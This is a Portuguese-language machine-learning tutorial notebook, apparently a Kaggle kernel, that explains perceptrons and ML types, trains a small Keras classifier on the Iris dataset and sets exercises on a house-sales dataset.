aplicados a cada entrada.   As entradas ***x*** de um neur\u00f4nio artificial equivalem aos dentritos de um neur\u00f4nio biol\u00f3gico e a soma **$\\sum_{j=0}^m x_{j}w_{j}$** \u00e9 o est\u00edmulo resultante no ax\u00f4nio, definido por um limiar interno do neur\u00f4nio (**threshold**) que vai determinar a sua \"sensibilidade\" ou quando ser\u00e1 ativado ou n\u00e3o. Em ML preferencialmente utilizaremos a nota\u00e7\u00e3o matricial  **$w^Tx$** onde o produto \u00e9 dado pela transposta de *w* por *x*. A utiliza\u00e7\u00e3o de matrizes permite maior efici\u00eancia computacional e simplifica\u00e7\u00e3o dos c\u00f3digos de ML. \n# \n# <br><BR>\n# Aqui temos a representa\u00e7\u00e3o gr\u00e1fica do perceptron:\n# \n# ![](https://www.dropbox.com/s/yxvrkm7kk1r991e/01-Perceptron.jpg?dl=1)\n\n# ![](https://www.sololearn.com/avatars/b2b6905b-4e53-412a-bcb8-22bfef2bcec5.jpg)\n# \n# # Quando as m\u00e1quinas aprendem...\n# \n# A aprendizagem se traduz em encontrar pesos que aplicados aos valores de entrada resultem em um determinado valor de sa\u00edda esperado.  Ainda analisando o gr\u00e1fico do perceptron acima, vale notar que por quest\u00f5es de conven\u00e7\u00e3o e c\u00e1lculo a entrada **$x_{0} $** \u00e9 fixada com o valor ***1*** e seu o peso **$w_{0} $**  \u00e9 chamado de **bias**.   Em uma rede neural de apenas uma entrada ter\u00edamos a seguinte equa\u00e7\u00e3o equivalente z =  $w_{0}$ + $w_{1}x_{1}$.  Se voltarmos \u00e0s aulas de matem\u00e1tica fundamental veremos que essa \u00e9 exatamente uma **equa\u00e7\u00e3o reduzida da reta **, onde $w_{0}$ define a \"altura\" da reta e  $w_{1}$ define sua inclina\u00e7\u00e3o no gr\u00e1fico.   \n# \n# ![](https://www.dropbox.com/s/cdai4n28jp5m5wp/simple_regression.png?dl=1)\n# \n# \n# O que os algoritmos de ML fazem \u00e9 buscar de forma autom\u00e1tica a equa\u00e7\u00e3o que melhor representa o conjunto verdade (**y**) para um conjunto de observa\u00e7\u00f5es ou amostras de entradas.  Uma forma de encontrar a melhor equa\u00e7\u00e3o \u00e9 atrav\u00e9s do c\u00e1lculo sucessivo da diferen\u00e7a entre os valores gerados pela equa\u00e7\u00e3o \"aprendida\" (**\u0177**) e os valores reais observados (**y**). Essa diferen\u00e7a chamamos de **Erro** ou **Perda**. As fun\u00e7\u00f5es de perda  ou **loss functions** s\u00e3o um importante elemento na constru\u00e7\u00e3o de algoritmos inteligentes. Em outras palavras, podemos afirmar que a aprendizagem de m\u00e1quina \u00e9 essencialmente uma tarefa de otimiza\u00e7\u00e3o de fun\u00e7\u00f5es.  Atualmente os principais frameworks de ML implementam diversos algoritmos de otimiza\u00e7\u00e3o, sendo o Gradiente Descendente Estoc\u00e1stico ([SGD](http://ruder.io/optimizing-gradient-descent)) um dos mais populares.\n# \n# O processo de ajustar pesos atrav\u00e9s de algoritmos de otimiza\u00e7\u00e3o de fun\u00e7\u00e3o \u00e9 denominado **fit (treino)**, e cada rodada de ajustes \u00e9 chamada de **Epoch (\u00c9poca)**. O ajuste geralmente \u00e9 feito usando um determinado n\u00famero de amostras por vez que chamamos de **Batch (Lote)** .\n# \n# No gr\u00e1fico acima temos um problema onde os valores de solu\u00e7\u00e3o podem ser linearmente correlacionadas com as amostras de entrada. Neste caso um algoritmo de ** Regress\u00e3o ** poderia ser aplicado, mas existem varios tipos de algoritmos de ML e cada um vai funcionar melhor em determinados cen\u00e1rios.  Da\u00ed o teorema  **No Free Lunch**  em Machine Learning de David H. Wolpert, que nos recorda de que nenhum algoritmo de ML \u00e9 universalmente melhor que todos os outros em todos cen\u00e1rios (The Lack of A Priori Distinctions Between Learning Algorithms, Wolpert and David H, 1996).\n# \n# \n# \n# # Rolling in the Deep\n# \n# As redes profundas conhecidas como Deep Learning(DL) ganharam maior destaque a partir de 2012 com a vit\u00f3ria de um time universit\u00e1rio canadense em uma competi\u00e7\u00e3o de classifica\u00e7\u00e3o de Imagens, a [ImageNet](http://www.image-net.org/).\n# \n# Mas a vit\u00f3ria deste time canadense est\u00e1 intimamente relacionada com avan\u00e7os da d\u00e9cada de 80, sendo um de seus expoentes o cientista de computa\u00e7\u00e3o e psicologia cognitiva **Geoffrey Hinton** da Universidade de Toronto. Hinton \u00e9 conhecido por temas como **Propaga\u00e7\u00e3o Reversa (Backpropagation)**, **M\u00e1quina de Boltzman (Boltzmann Machine** e **Deep Learning**. \n# \n# Embora o termo Deep Learning j\u00e1 havia sido aplicado a redes neurais artificiais por Igor Aizenberg em 2000,  foi uma plublica\u00e7\u00e3o de Geoffrey Hinton e Ruslan Salakhutdinov em 2006 que chamou mais aten\u00e7\u00e3o ao mostrar como redes neurais poderiam ser pr\u00e9-treinadas uma camada por vez, e ent\u00e3o fazer ajustes finos por meio de Backpropagation.  Esse avan\u00e7o contribuiu fortemente para a viabilidade das redes DL como hoje conhecemos.\n# \n# Em 2012, Hinton e seus dois alunos Alex Krizhevsky e Ilya Sutskever entraram na competi\u00e7\u00e3o ImageNet e ao fazerem uso de redes densas convolucionais (CNN's) e t\u00e9cnicas avan\u00e7adas para reduzir overfitting (ajuste excessivo aos dados de treino que resulta em baixa generaliza\u00e7\u00e3o) conseguiram atingir um incr\u00edvel patamar de erro de 16% contra os 25% alcan\u00e7ados at\u00e9 ent\u00e3o com algoritmos classificadores existentes. Hinton e seus alunos criaram uma empresa que seria adquirida posteriormente pelo Google.\n# \n# Abaixo o gr\u00e1fico da arquitetura de sua rede **[AlexNet](https://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks.pdf)** . Esta rede foi treinada por cerca de 5 a 6 dias usando um dataset de milh\u00f5es de imagens classificadas milhares de classes. A equipe da AlexNet al\u00e9m da arquitetura inovadora utilizou duas placas de video GTX 580 (GPU) para poder suportar a alta demanda de processamento desse tipo de rede. O poder de manipula\u00e7\u00e3o de matrizes de uma GPU \u00e9 muito bemvindo com algoritmos de ML, j\u00e1 que no final das contas toda informa\u00e7\u00e3o e aprendizagem resultam em matrizes de dados e pesos.\n# \n# \n# ![](https://image.slidesharecdn.com/dlcvd2l4imagenet-160802094728/95/deep-learning-for-computer-vision-imagenet-challenge-upc-2016-7-638.jpg?cb=1470131387)\n# \n# Nos anos seguintes empresas como Nvidia, Google, Microsoft, Baidu, Amazon, IBM, Ubber, Facebook e Tesla  entrariam de forma ainda mais agressiva na corrida tecnol\u00f3gica por plataformas de intelig\u00eancia artificial mudando o n\u00edvel do jogo para uma aposta de trilh\u00f5es de d\u00f3lares,  e criando com o apoio das diversas comunidades de c\u00f3digo aberto os frameworks poderosos que est\u00e3o hoje ao alcance de alguns cliques. Abaixo algum dos principais frameworks da atualidade:\n# \n# ![](https://www.dropbox.com/s/lv9ooa3ur8pxc33/deep-learning-developer-frameworks-407.png?dl=1)\n\n# # O que \u00e9 Machine Learning?\n# <br>\n# A seguir vamos come\u00e7ar a entender um pouco mais sobre como funciona os principais tipos de algoritmos de ML,  quais s\u00e3o as estrat\u00e9gias de treino e etapas para constru\u00e7\u00e3o destes algor\u00edtimos.\n# \n# Ent\u00e3o, uma pergunta importante a fazer \u00e9: o que \u00e9 um algor\u00edtimo de aprendizagem de m\u00e1quina? Uma boa defini\u00e7\u00e3o, emprestada de [*Deep Learning*](http://www.deeplearningbook.org) (Goodfellow-et-al-2016),  seria ***\"um algor\u00edtmo de aprendizagem de m\u00e1quina \u00e9 um algor\u00edtmo capaz de aprender com os dados\"* **.\n# \n# Ok, mas o que significa aprender? Tom Mitchell em seu livro* Machine Learning* (McGraw-Hill, New York. 97) nos ajuda com uma defini\u00e7\u00e3o bem sucinta: *** \u201cUm programa de computador \u00e9 dito aprender de uma experi\u00eancia E em respeito a alguma classe de tarefa T e medida de performance P, se sua performance em tarefas T, como medido por P, melhora com a experi\u00eancia E\".*** \n# \n# Todavia n\u00e3o podemos esquecer que Machine Learning \u00e9 um campo em constru\u00e7\u00e3o e muitos dos conceitos que hoje consideramos  verdade ser\u00e3o descartados nos pr\u00f3ximos anos. O pr\u00f3prio [Geoffrey Hinton em entrevista com Andrew NG](https://www.youtube.com/watch?v=-eyhCTvrEtE) (outro nome bastante conhecido da galera de ML) diz *\"Meu conselho \u00e9 que leia alguma literatura (*de ML*) mas n\u00e3o leia demais... alguns dizem que voc\u00ea deveria passar v\u00e1rios anos lendo a literatura e s\u00f3 ent\u00e3o come\u00e7ar a trabalhar em suas pr\u00f3prias id\u00e9ias e isso pode ser verdade para alguns pesquisadores, mas para pesquisadores criativos eu penso que o que voc\u00ea quer \u00e9 estudar uma parte da literatura e, ent\u00e3o, notar o que todos est\u00e3o fazendo errado... aquilo que voc\u00ea sente que n\u00e3o est\u00e1 correto, e ao contr\u00e1rio imaginar um jeito de fazer certo... e quando os outros disserem que n\u00e3o serve, apenas continue... tenho um bom princ\u00edpio para ajudar as pessoas a continuarem que \u00e9: ou suas intui\u00e7\u00f5es s\u00e3o boas ou n\u00e3o, se s\u00e3o boas voc\u00ea deveria seguir-las e ao final ter\u00e1 sucesso, se n\u00e3o s\u00e3o boas n\u00e3o importa o que voc\u00ea fa\u00e7a... voc\u00ea deveria confiar nas suas intui\u00e7\u00f5es n\u00e3o h\u00e1 raz\u00e3o para n\u00e3o faz\u00ea-lo...\"* (tradu\u00e7\u00e3o livre)\n# \n# \n# Portanto, a seguir veremos tr\u00eas grandes grupos de algoritimos de ML, mas utilize essa divis\u00e3o apenas como ferramenta de compreens\u00e3o j\u00e1 que alguns algoritmos atuais extravasam essas classifica\u00e7\u00f5es.\n# \n# \n# # Os tr\u00eas tipos de Machine Learning\n# \n# Os algoritmos de Machine Learning podem ser agrupados em tr\u00eas tipos principais:\n# \n# \n# ![](https://www.dropbox.com/s/btluyzv2e08djan/02-MLTipos.jpg?dl=1)\n# \n# ## Supervised Learning\n# O principal objetivo na **aprendizagem supervisionada** \u00e9 \"aprender\" um modelo com base nos dados de treino rotulados que seja capaz fazer predi\u00e7\u00f5es a respeito de dados novos ou de dados futuros. \n# \n# Quando os valores esperados s\u00e3o discretos, como por exemplo um algoritmo capaz de reconhecer se uma imagem \u00e9 de um gato ou cachorro, dizemos que se trata de uma **Tarefa de Classifica\u00e7\u00e3o** ou seja buscamos um modelo classificador.  Classifica\u00e7\u00e3o \u00e9 uma subcategoria da aprendizagem supervisionada na qual o foco \u00e9 prever r\u00f3tulos categ\u00f3ricos de novas inst\u00e2ncias baseado nas observa\u00e7\u00f5es do passado.\n# \n# A predi\u00e7\u00e3o de valores cont\u00ednuos, como por exemplo o pre\u00e7o de venda de um im\u00f3vel, \u00e9 tratada por outra subcategoria de aprendizagem supervisionada a **Regress\u00e3o**.  \n# \n# \n# ## Reinforcement Learning\n# Outro tipo de aprendizagem de m\u00e1quina \u00e9 o aprendizado por refor\u00e7o. Em **reinforcement learning** o objetivo \u00e9 desenvolver um **agente** que melhora sua performance baseado em sucessivas intera\u00e7\u00f5es com o ambiente.  Diferentemente das fun\u00e7\u00f5es de perda (loss functions) das t\u00e9cnicas supervisioanadas, aqui o feedback \u00e9 dado por um sistema de recompensas que pune ou premia certos resultados (**reward function**) com base em certos estados do ambiente.\n# \n# Um exemplo popular desta arquitetura de aprendizagem \u00e9 uma Engine de Xadrez. Nela o agente decide uma s\u00e9rie de movimentos de acordo com o estado do tabuleiro, a recompensa pode ser definida com base em diversos resultados como sobrepor uma pe\u00e7a inimiga ou tomar sua rainha, ou mesmo a vit\u00f3ria ou derrota final.\n# \n# \n# \n# \n# ## Unsupervised Learning\n# Na aprendizagem n\u00e3o supervisionada lidamos com dados n\u00e3o r\u00f3tulados ou com informa\u00e7\u00e3o cuja estrutura n\u00e3o \u00e9 exatamente conhecida.   \n# \n# Ao usarmos  t\u00e9cnicas de aprendizagem n\u00e3o supervisionada somos capazes de explorar a estrutura de nossas amostras e extrair informa\u00e7\u00e3o significativa de como essas amostras se relacionam.  Uma das aplica\u00e7\u00f5es pr\u00e1ticas deste tipo de aprendizagem \u00e9 a segmenta\u00e7\u00e3o (**clustering**) de clientes de acordo com suas prefer\u00eancias ou quaisquer outras caracter\u00edsticas que tenhamos \u00e0 disposi\u00e7\u00e3o. \n# \n# Outro campo de aplica\u00e7\u00e3o da aprendizagem n\u00e3o supervisionada \u00e9 redu\u00e7\u00e3o de dimensionalidade de dados. A redu\u00e7\u00e3o de dimensionalidade permite eliminar ru\u00eddos e comprimir informa\u00e7\u00e3o resultando em economia de processamento e armazenamento de dados. \n\n# # Botando a m\u00e3o na massa!\n# \n# Agora que vimos em linhas gerais o que s\u00e3o algor\u00edtmos de ML, vamos come\u00e7ar com o primeiro passo no desenvolvimento de um sistema de ML:   A prepara\u00e7\u00e3o e explora\u00e7\u00e3o de dados ou **exploratory data analysis (EDA)** termo tamb\u00e9m emprestado do campo de estat\u00edstica.  \n# \n# Nos exemplos vou usar um famoso dataset chamado Iris que possui 150 amostras de 3 tipos de flores e os tamanhos de suas p\u00e9talas.  Em ML essas caracter\u00edsticas ou dados de entrada denominamos **features**.\n# \n# *Voc\u00ea deve executar cada c\u00e9lula de c\u00f3digo . Use Ctrl + Enter para executar e Shift + Enter para criar uma nova c\u00e9lula*\n# \n# ## 1 - Bibliotecas \n\n# In[ ]:\n\n\n#Usamos import para importar as bibliotecas e pacotes que vamos utilizar\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt # library for draring charts\n\n# a magic cell (%) abaixo permite exibir gr\u00e1ficos de forma interna adequadamente\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# Exibe a vers\u00e3o das biblioteca. Em alguns casos \u00e9 importante em que vers\u00e3o est\u00e1 trabalhando\nprint(\"Numpy Version {}\".format(np.__version__))\nprint(\"Pandas Version {}\".format(pd.__version__))\n\n\n# ## 2 - Caminho do Dataset\n\n# In[ ]:\n\n\n'''\nO dataset que vamos usar foi adicionado automaticamente. Podemos adicionar qualquer dataset \np\u00fablico do Kaggle com o bot\u00e3o \"Add a Data Source\" ou o seu pr\u00f3prio com \"Upload a Dataset\"\n\nOs dataset adicionados ser\u00e3o postos no caminho \"../input\".\nAbaixo executamos o comando linux ls atrav\u00e9s do python para listar os arquivos desta pasta:\n'''\nfrom subprocess import check_output\nprint('Arquivos Iris:')\nprint(check_output([\"ls\", \"../input/iris\"]).decode(\"utf8\"))\n\n\n# ## 3 - Carregando o Dataset\n\n# In[ ]:\n\n\n# Existem v\u00e1rias formas de se carregar um dataset para uso em ML as duas mais comuns:\n# usar iblioteca numpy ou carregar um data frame do pandas como abaixo\ndf_iris = pd.read_csv('../input/iris/Iris.csv')\n\n\n# In[ ]:\n\n\n# Exibe as primeiras 5 linhas do dataframe\ndf_iris.head(5)\n\n\n# ## 4 - Explorando os dados com gr\u00e1ficos do matplotlib\n# \n# No dataset Iris temos na coluna Species os tipos das flores que vamos analisar. Para isso precisamos transformar as classes de flores em n\u00fameros, para podermos seguir com as an\u00e1lise\n\n# **Exibindo a distribui\u00e7\u00e3o das classes**\n\n# In[ ]:\n\n\n# Verificamos os valores \u00fanicos para as esp\u00e9cies\nprint(df_iris['Species'].unique())\n\n# Adicionamos uma nova coluna no data frame e mapeamos com um valor n\u00famerico por classe\n# essa coluna \u00e9 nosso target (a predi\u00e7\u00e3o que nossa rede vai gerar)\ndf_iris['y'] = df_iris['Species'].map({'Iris-setosa': 1, 'Iris-versicolor': 2, 'Iris-virginica' : 3})\n\n# Configuramos o gr\u00e1fico\nplt.xlabel('Sepal Length Cm')\nplt.ylabel('Petal Length Cm')\n#plt.scatter(x,y, c=color)\nplt.scatter(df_iris['SepalLengthCm'],df_iris['PetalLengthCm'], c=df_iris['y'])\nplt.show() # como usamos a magic cell no inicio, esse comando n\u00e3o \u00e9 obrigat\u00f3rio.\n\n\n# Observando o gr\u00e1fico acima podemos verificar que com apenas duas features do dataset \u00e9 poss\u00edvel separar as classes (com uma apenas amostra como de exce\u00e7\u00e3o).  Esse tipo de feature \u00e9 muito \u00fatil para construirmos nossos modelos de aprendizagem.\n\n# **Usando fun\u00e7\u00f5es plot e hist do matplotlib para compreender melhor os dados:**\n\n# In[ ]:\n\n\n# Nesse grafico podemos ver que nosso dataset \u00e9 bastante balanceado\nplt.title('Histograma das Classes - Cada Classe tem 50 ocorr\u00eancias')\nplt.hist(df_iris['y'])\nplt.show() # Estou mantendo o comando apenas por quest\u00e3o de est\u00e9tica na sa\u00edda.\n \nplt.title('Histograma da Propriedade Sepal Length\\n Maior n\u00famero de amostras com valor entre 5 e 7 cm')\nplt.hist(df_iris['SepalLengthCm'], bins=6)\nplt.show()\n\n\n# In[ ]:\n\n\n#Como as amostras est\u00e3o ordenadas \u00e9 poss\u00edvel \"ver\" no gr\u00e1fico onde come\u00e7a e termina\n#cada grupo de 50.\nplt.figure(figsize=(15,10))\nplt.title('Exibindo as medidas por amostras')\nplt.plot ( df_iris['SepalLengthCm'], c='blue', ) \nplt.plot ( df_iris['SepalWidthCm'], c= 'red')\nplt.plot ( df_iris['PetalLengthCm'], c= 'green')\nplt.plot ( df_iris['PetalWidthCm'], c= 'yellow')\nplt.show()\n\n\n# ##  5 - Selecionando um algoritmo de ML\n# Embora seja um Dataset bem pequeno, ele \u00e9 bastande balanceadol.  Vimos que as duas features  SepalLengthCm e PetalLengthCm sozinhas praticamente conseguem definir a separa\u00e7\u00e3o das tr\u00eas classes mas queremos um classificador que fa\u00e7a o maior acerto poss\u00edve por isto vamos usar as 4 features que dispomos (O campo **Id ** ser\u00e1 descartado para an\u00e1lises).  A biblioteca sckit-learn \u00e9 muito \u00fatil para prepara\u00e7\u00e3o de dados e para algoritmos que n\u00e3o envolvam redes neurais.\n# \n# Com dados estruturados os modelos baseados em Regress\u00e3o, Decisiona Tree e Random Forests s\u00e3o mais indicados. Mas qui vou somente por quest\u00e3o de did\u00e1tica vamos usar uma rede neural de 3 neur\u00f4nios de com 1 sa\u00edda (uma para cada tipo de flor) com 4 entradas (uma para cada feature de entrada), em algor\u00edtmos de classifica\u00e7\u00e3o o n\u00famero de sa\u00eddas deve ser igual ao n\u00famero de classes - se n\u00e3o for uma classifica\u00e7\u00e3o bin\u00e1ria(0 ou 1, true ou false, etc).\n# \n# N\u00e3o se preocupe caso n\u00e3o compreenda completamente alguma parte do c\u00f3digo, vamos explorar todos detalhes nos pr\u00f3ximos Labs, o objetivo aqui \u00e9 voc\u00ea ver etapas gerais de uma solu\u00e7\u00e3o completa usando Keras e TensorFlow. \n\n# In[ ]:\n\n\n#veja que ao importar o keras que \u00e9 um wrapper, o TensorFlow ser\u00e1 exibido como backend\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation\nfrom keras.optimizers import SGD\nfrom keras.utils import np_utils\n\n\n# ## 6 - Feature Engineering \n# \n# Nesta fase temos a sele\u00e7\u00e3o das features que v\u00e3o compor nosso Modelo - e seu ajuste para compatibilidade com o formato de entrada do tipo de algor\u00edtm ML selecionado.  Nossa coluna **'y'**, por exemplo cont\u00e9m valores de 1 a 3, esses valores ser\u00e3o transformados para 0 a 2 e convertidos em tr\u00eas colunas no formato** One-Hot**( esse tipo de codifica\u00e7\u00e3o ser\u00e1 explicada nos pr\u00f3ximos labs). Al\u00e9m disso em muitos casos vamos ter que normalizar os valores de entrada antes entregar para uma rede neural ou algum outro tipo de algoritmo de ML.\n\n# In[ ]:\n\n\n#N\u00famero de classes poss\u00edveis\nn_classes = len(df_iris['Species'].unique()) # 3 classes\n\n#Fazemos slice do Dataframe e as convertemos em matrizes do NumPy\nx_full = np.array(df_iris.iloc[:, 1:5].values) # selecionamos as colunas de features e todas linhas\ny_full = np.array(df_iris.iloc[:, 6].values) # selecionamos todas linhas mas apenas a coluna 'y' \n\n# Para algor\u00edtimos de classifica\u00e7\u00e3o com mais de duas classes temos que usar one-hot\n# aqui uso uma simples subtra\u00e7\u00e3o para alterar os valores de todas a linhas y\ny_full = np_utils.to_categorical(y_full - 1, n_classes) \n\nprint(\"Vericamos se as matrizes de entrada possuem o formato correto\")\nprint(\"x_full.shape ={}    y_full.shape ={}\".format(x_full.shape, y_full.shape))\n\n\n# ## 7 - Split do dataset em treino e valida\u00e7\u00e3o\n\n# In[ ]:\n\n\nseed = 42 # aqui ficamos o seed rand\u00f4mico, para garantir a reprodu\u00e7\u00e3o de resultados\n\n# A separa\u00e7\u00e3o do dataset \u00e9 uma t\u00e9cnica muito importante para maior efici\u00eancia\n# da valida\u00e7\u00e3o da efic\u00e1cia de um modelo e veremos em maior detalhe nos pr\u00f3ximos labs. \nX_train, X_val, y_train, y_val = train_test_split(x_full, y_full,\n                                                test_size=0.2, random_state=seed)\n\n# A classe train_test_split faz o embaralhamento dos dados antes\nprint(\"Novamente validamos os formatos do split:\")\nprint(X_train.shape, y_train.shape); print(X_val.shape, y_val.shape)\n\n\n# ## 8 - Definindo a arquitetura de nossa Rede Neural\n\n# In[ ]:\n\n\n# Fixamos o seed para biblioteca rand\u00f4mica do NumPy\nnp.random.seed(seed) \n\n#Cada implementa\u00e7\u00e3o de um algor\u00edtimo de ML chamamos de modelo\nmodel = Sequential()  # modelo sequencial\nmodel.add(Dense(n_classes, input_shape=(4,))) # cria uma camada com 3 neur\u00f4nios\nmodel.add(Activation('softmax')) # usamos ativa\u00e7\u00e3o de threshold conhecida como softmax\nmodel.summary()\n\n\n# Se olharmos acima notamos a exist\u00eancia de 15 par\u00e2metros trein\u00e1veis. Cada um dos tr\u00eas neur\u00f4nios possuem 4 entradas, uma para cada feature, portanto teremos 4 x 3  = 12, ou seja 12 pesos que devem ser treinados. E de onde vem os 15?  \n# \n# Lembra que para cada neur\u00f4nio vamos ter uma entrada $x_{0}$ igual a 1 e um peso peso $w_{0}$ que ser\u00e1 seu **bias**?   Ent\u00e3o como temos 3 neur\u00f4nios teremos 3 biases a serem treinados. Dai 12 pesos + 3 biases, resultando em 15 par\u00e2metros trein\u00e1veis.\n\n# ## 9 - Compilando e Treinando nosso Modelo (Finalmente!!)\n\n# In[ ]:\n\n\nimport timeit\n\nn_epoch = 500 # N\u00famero de \u00c9pocas\nbatch_size = 10 #tamanho do Batch (quantidade de amostras por lote de treino)\n\n#Aqui vamos usar o Gradiente Descendente Estoc\u00e1stico, que \u00e9 um tipo de otimizador\nsgd = SGD(lr= 0.1) # lr \u00e9 o Learning Rate conceito que vamos ver nos pr\u00f3ximos labs.\n\n#Todo modelo precisa ser compilado, veja que no par\u00e2metro loss informamos a fun\u00e7\u00e3o de erro\nmodel.compile(optimizer=sgd, loss='categorical_crossentropy', metrics=['accuracy']) \n\n#Inicia contagem do tempo\nstart = timeit.default_timer()\n\n# Aqui fazemos o fit do modelo e salvamos o resultado de cada epoca em history\nhistory = model.fit(X_train, y_train, batch_size=batch_size, epochs=n_epoch,verbose=0) \n\n#Inicia contagem do tempo\nelapsed = timeit.default_timer() - start\n\nprint(\"Rede Treinada em {} \u00e9pocas durante {:.4f} segundos\".format(n_epoch, elapsed))\n\n\n# ## 10 - Avaliando o qu\u00e3o inteligente \u00e9 nosso algor\u00edtimo\n\n# In[ ]:\n\n\n_, train_accuracy = model.evaluate(X_train, y_train, verbose=0)\n_, val_accuracy = model.evaluate(X_val, y_val, verbose=0)\n\nprint('Acur\u00e1cia no Treino: {:.2f}%'.format(train_accuracy * 100))\nprint('Acur\u00e1cia na Valida\u00e7\u00e3o: {:.2f}%'.format(val_accuracy * 100))\n\n\n# A acur\u00e1cia \u00e9 uma m\u00e9trica que indica em percentual quantas amostras do todo foram classificadas corretamente.  \n# ***Acur\u00e1ria = N\u00famero de Acertos / N\u00famero de Testes***\n# \n# Em nosso dataset de treino conseguimos 117 acertos em 120 amostras (ou testes); e 30 acertos em 30 amostras no conjunto de teste. Com isso temos uma acur\u00e1cia de 97,5% no treino e de 100% no dataset de teste.\n# \n# Uau!!! Um excelente resultado com cerca de 5 segundos de treino e uma rede de somente 3 neur\u00f4nios e um m\u00ednimo ajuste de **hiperpar\u00e2metro**, o **Learning Rate** (LR=0.1). \n# \n# Hiperpar\u00e2metros ser\u00e3o tema para um pr\u00f3ximo lab. Fiquem a vontade para fazer Fork desse Kernel e testar valores diferentes para n\u00famero de \u00e9pocas, batch size e tipo de otimizador.  \n\n# ** Matrix de Confus\u00e3o** \n# \n# Esta \u00e9 uma outra forma de visualizar a acur\u00e1cia de uma rede, geralmente aplicamos somente no dataset de valida\u00e7\u00e3o.\n# Aqui apliquei nos dois para poder exibir onde nosso algoritmo errou.\n\n# In[ ]:\n\n\ny_hat_train = model.predict_classes(X_train)\npd.crosstab(y_hat_train, np.argmax(y_train, axis=1)) \n\n\n# In[ ]:\n\n\ny_hat_val = model.predict_classes(X_val)\npd.crosstab(y_hat_val, np.argmax(y_val, axis=1))\n\n\n# Se olharmos as duas matrizes de confus\u00e3o veremos que nosso modelo errou apenas 3 amostras das 150. Um \u00f3timo feito para uma rede de penas uma camada densa de 3 neur\u00f4nios.\n\n# ## 11 - Verificando a curva de aprendizagem de sua rede\n# \u00c9 poss\u00edvel verificar que a partir da \u00e9poca 300 n\u00e3o h\u00e1 grande melhoria (diminui\u00e7\u00e3o do erro)\n\n# In[ ]:\n\n\n# a impress\u00e3o dos valores de perda a cada \u00e9poca de treinamento\n# permite ter valiosos insights sobre como seu modelo se comporta durante o treinamento\nplt.figure(figsize=(10,8))\nplt.plot(history.history['loss'], label='Erro')\nplt.plot(history.history['acc'], label='Acur\u00e1cia')\nplt.legend(loc='upper center')\nplt.show()\n\n\n# ## Tarefas do Lab\n# \n# Crie um fork deste notebook em sua conta (assim voc\u00ea trabalha em sua pr\u00f3pria c\u00f3pia), e nos quadros abaixo escreva c\u00f3digo para carregar o dataset  **House Sales in King County** (kc_house_data.csv) que j\u00e1 est\u00e1 copiado na pasta **../input/housesalesprediction** .  Se necess\u00e1rio crie novas c\u00e9lulas com Alt + Enter.\n# \n\n# ### 1 - Carregar o Dataset House Sales de King County\n\n# In[ ]:\n\n\nprint('Arquivo House Sales:')\nprint(check_output([\"ls\", \"../input/housesalesprediction\"]).decode(\"utf8\"))\n\n\n# In[ ]:\n\n\n#Usando pandas crie um dataframe para armazenar o dataset House Sales\n#df_house = pd.read_csv...\n\n\n# ### 2 - Exibir as 20 primeiras linhas e as \u00faltimas 5 do data frame df_house\n\n# In[ ]:\n\n\n#Crie seu c\u00f3digo abaixo\n\n\n# ### 3 - Adicione uma nova coluna no dataframe com o nome 'yearsale' (o campo date possui a data da venda)\n\n# In[ ]:\n\n\n#\n\n\n# ### 4 - Criar um gr\u00e1fico que relacione o ano de cosntru\u00e7\u00e3o (yr_built) com o valor da venda (price)\n# Aqui \u00e9 poss\u00edvel utilizar a fun\u00e7\u00e3o plot ou scatter, veja qual funciona melhor.\n\n# In[ ]:\n\n\n#\n\n\n# ### 5 - Mostrar o histograma de distribui\u00e7\u00e3o das vendas de acordo com o local (zipcode), pre\u00e7o de venda (price) e tamanho das casas (sqft_living)\n\n# In[ ]:\n\n\n\n\n\n# ### 6 - Avaliando de forma geral o conte\u00fado deste dataset qual ou quais colunas voc\u00ea acredita que tenha maior impacto sobre o valor da venda do im\u00f3vel?  Correlacione essas colunas com a coluna price. Plote gr\u00e1ficos que justifiquem sua resposta.\n\n# In[ ]:\n\n\n\n\n\n# ### 7 - Em ML recorremos ao conceito estat\u00edstico *Outlier*. Dada uma s\u00e9rie de dados uma amostra que possua um valor muito destoante do restante \u00e9 considerado um *outlier*.   Em algumas an\u00e1lises reconhecer outliers pode ser de grande ajuda para entender a natureza dos dados a serem explorados.  Como voc\u00ea faria para identificar a exist\u00eancia de outliers ao verificarmos o valor das vendas deste dataset?  Dica tente usar gr\u00e1ficos scatter e hist.  \n\n# In[ ]:\n\n\n\n\n\n# ### 8 - Usando Python e NumPy calcule o valor m\u00e9dio do square feet (pode utilizar a coluna sqft_living para o c\u00e1lculo) e crie um gr\u00e1fico para exibir todas as amostras cujo valor do square feet de venda seja maior que o valor m\u00e9dio.\n\n# In[ ]:\n\n\n\n\n\n# \n\n# \n\n# \n\n# \n\n# \n\n# \n", "meta": {"hexsha": "783e9ed5628996951e3d5805a950b3d2fdc79b58", "size": 26889, "ext": "py", "lang": "Python", "max_stars_repo_path": "downloaded_kernels/house_sales/converted_notebooks/kernel_54.py", "max_stars_repo_name": "josepablocam/common-code-extraction", "max_stars_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "downloaded_kernels/house_sales/converted_notebooks/kernel_54.py", "max_issues_repo_name": "josepablocam/common-code-extraction", "max_issues_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "downloaded_kernels/house_sales/converted_notebooks/kernel_54.py", "max_forks_repo_name": "josepablocam/common-code-extraction", "max_forks_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-07-12T00:48:08.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-11T12:53:05.000Z", "avg_line_length": 55.7863070539, "max_line_length": 1178, "alphanum_fraction": 0.7606456172, "include": true, "reason": "import numpy", "num_tokens": 7554, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250462027098473, 